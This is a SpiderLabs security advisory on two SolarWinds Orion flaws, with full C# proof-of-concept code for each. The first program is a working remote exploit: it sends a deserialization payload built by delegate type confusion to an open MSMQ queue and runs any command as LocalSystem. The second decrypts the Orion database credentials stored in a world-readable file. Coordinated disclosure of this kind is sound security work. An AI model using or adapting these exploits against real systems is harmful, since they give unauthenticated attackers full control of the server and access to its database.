Trustwave SpiderLabs Security Advisory TWSL2021-001: Multiple Vulnerabilities in SolarWinds Orion Published: 02/03/2021 Version: 1.0 Vendor: SolarWinds (www.solarwinds.com) Product: Orion Platform Version affected: 2020.2.1 and prior Finding 1: SolarWinds Collector Service remote arbitrary code execution as LocalSystem via MSMQ *****Credit: Martin Rakhmanov of Trustwave CVE: CVE-2021-25274 SolarWinds Collector Service uses MSMQ (Microsoft Message Queue) and it doesn't set permissions on its private queues. As a result, remote unauthenticated clients can send messages that the Collector Service will process. Additionally, upon processing of such messages, the service deserializes them in insecure manner allowing remote arbitrary code execution as LocalSystem. Proof of Concept /* ** To build: ** ** Copy SolarWinds.Collector.Contract.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\) ** ** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Collector.Contract.dll OrionMSMQ.cs */ using SolarWinds.Collector.Contract; using System; using System.Collections.Generic; using System.Data.Linq; using System.Diagnostics; using System.IO.Compression; using System.IO; using System.Linq; using System.Messaging; using System.Reflection; using System.Text; namespace OrionMSMQ { internal class CompressedMessageFormatter : IMessageFormatter, ICloneable { // Fields private IMessageFormatter baseFormatter; private byte[] compressHeader; // Methods public CompressedMessageFormatter(IMessageFormatter original) : this(original, 0x1e8480) { } public CompressedMessageFormatter(IMessageFormatter original, long compressThreshold) { this.compressHeader = Encoding.ASCII.GetBytes("CompressVersion1"); if (original == null) { throw new ArgumentNullException("original"); } this.baseFormatter = original; this.CompressThreshold = compressThreshold; } public bool CanRead(Message message) { if (message == null) { return false; } return (message.BodyStream != null); } public object Clone() { return new CompressedMessageFormatter((IMessageFormatter)this.baseFormatter.Clone()); } public object Read(Message message) { if (message == null) { throw new ArgumentNullException("message"); } byte[] buffer = new byte[this.compressHeader.Length]; message.BodyStream.Position = 0L; message.BodyStream.Read(buffer, 0, buffer.Length); if (this.compressHeader.SequenceEqual(buffer)) { message.BodyStream.Seek((long)buffer.Length, SeekOrigin.Begin); using (DeflateStream stream = new DeflateStream(message.BodyStream, CompressionMode.Decompress)) { Message message2 = new Message { BodyType = message.BodyType }; stream.CopyTo(message2.BodyStream); message.BodyStream = message2.BodyStream; } } message.BodyStream.Position = 0L; return this.baseFormatter.Read(message); } public void Write(Message message, object obj) { if (message == null) { throw new ArgumentNullException("message"); } if (obj == null) { throw new ArgumentNullException("obj"); } this.baseFormatter.Write(message, obj); if (message.BodyStream.Length >= this.CompressThreshold) { MemoryStream stream = new MemoryStream(); stream.Write(this.compressHeader, 0, this.compressHeader.Length); using (DeflateStream stream2 = new DeflateStream(stream, CompressionMode.Compress, true)) { message.BodyStream.Position = 0L; message.BodyStream.CopyTo(stream2); } stream.Position = 0L; message.BodyStream = stream; } } // Properties public long CompressThreshold { get; internal set; } } class Program { public static void TypeConfuseDelegate(Comparison comp) { FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); Object[] invoke_list = comp.GetInvocationList(); invoke_list[1] = new Func(Process.Start); fi.SetValue(comp, invoke_list); } static void Main(String[] args) { Console.WriteLine(""); Console.WriteLine("Microsoft Message Queuing Feature should be installed on your computer before running this POC."); Console.WriteLine(""); if (args.Length < 2) { Console.WriteLine("Provide IP address of SolarWinds box and a command to run as LOCALSYSTEM."); Console.WriteLine("Example invocation:"); Console.WriteLine(); Console.WriteLine("\tOrionMSMQ.exe 192.168.1.11 shutdown /r"); return; } // Borrowed from https://googleprojectzero.blogspot.com/2017/04/ Delegate d = new Comparison(String.Compare); Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d); IComparer comp = Comparer.Create(d2); SortedSet set = new SortedSet(comp); for (int i = 1; i < args.Length; i++) { set.Add(args[i]); } TypeConfuseDelegate(d2); PropertyBag bag = new PropertyBag(); bag["PollingPlanID"] = "0"; bag["Payload"] = set; String path = String.Format("FormatName:DIRECT=TCP:{0}\\private$\\solarwinds/collector/processingqueue/core.node.details.wmi", args[0]); MessageQueue rmQ = new MessageQueue(path); Message msg = new Message(bag, new CompressedMessageFormatter(new BinaryMessageFormatter())); rmQ.Send(msg); Console.WriteLine("Payload sent to remote queue:"); Console.WriteLine(rmQ.Path); } } } Finding 2: Orion backend database credentials are stored in a world readable file *****Credit: Martin Rakhmanov of Trustwave CVE: CVE-2021-25275 Several SolarWinds products install and use SQL Server backend (Orion) and store database credentials to access this backend in a file readable by unprivileged users. As a result, any user having access to the filesystem can read Orion database login details from that file including database login and its associated password (encrypted). Using provided application the password can be decrypted (the application must be executed on the same computer where SolarWinds products are installed). Then the credentials can be used to get database owner access to the Orion database. This gives access to the data collected by SolarWinds applications and admin level access to the applications via insert/change of authentication data stored in the Accounts table of the database. File with Orion database credentials (typical location): C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.DB Proof of Concept /* ** To build: ** ** Copy SolarWinds.Orion.Common.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\) ** ** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Orion.Common.dll OrionDBpwd.cs ** ** This program must be executed on actual SolarWinds machine to decrypt the password (as unprivileged user) */ using System; using SolarWinds.Orion.Common.Helpers; class Program { static void Main(string[] args) { if (args.Length != 1) { Console.WriteLine("Provide encrypted password value from the config file."); return; } DataProtectionHelper helper = new DataProtectionHelper(); Console.WriteLine(helper.Decrypt(args[0])); } } Remediation Steps: Upgrade to Orion 2020.2.4 or the latest stable version. Revision History: 12/29/2020 - Vulnerability (CVE-2021-25275) disclosed to vendor 12/30/2020 - Vulnerability (CVE-2021-25274) disclosed to vendor 01/25/2021 - Patch released by vendor 02/03/2021 - Advisory published References 1. https://documentation.solarwinds.com/en/Success_Center/orionplatform/Content/release_notes/Orion_Platform_2020-2-4_release_notes.htm About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.